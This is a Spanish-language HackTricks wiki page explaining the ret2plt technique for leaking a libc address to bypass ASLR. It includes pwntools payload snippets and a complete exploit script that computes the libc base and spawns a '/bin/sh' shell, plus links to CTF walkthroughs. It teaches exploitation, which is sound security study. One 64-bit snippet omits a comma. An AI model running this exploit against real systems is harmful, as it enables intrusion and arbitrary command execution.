4.1 KiB
Ret2plt
{% hint style="success" %}
Aprende y practica Hacking en AWS: HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Información Básica
El objetivo de esta técnica sería filtrar una dirección de una función del PLT para poder evadir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función puts
de la libc, entonces puedes calcular dónde está la base de libc
y calcular desplazamientos para acceder a otras funciones como system
.
Esto se puede hacer con un payload de pwntools
como (desde aquí):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Observa cómo se llama a puts
(usando la dirección del PLT) con la dirección de puts
ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que cuando puts
imprime la entrada GOT de puts, esta entrada contendrá la dirección exacta de puts
en memoria.
También observa cómo se utiliza la dirección de main
en el exploit para que cuando puts
finalice su ejecución, el binario llame a main
nuevamente en lugar de salir (por lo que la dirección filtrada seguirá siendo válida).
{% hint style="danger" %} Observa cómo para que esto funcione, el binario no puede estar compilado con PIE o debes haber encontrado una filtración para evitar PIE para conocer la dirección del PLT, GOT y main. De lo contrario, primero debes evitar PIE. {% endhint %}
Puedes encontrar un ejemplo completo de este bypass aquí. Este fue el exploit final de ese ejemplo:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Otros ejemplos y Referencias
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canary para luego llamar a puts y filtrarlo. Con el canary se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a
system('/bin/sh')
. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR habilitado, sin canary, desbordamiento de pila en main desde una función secundaria. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget one.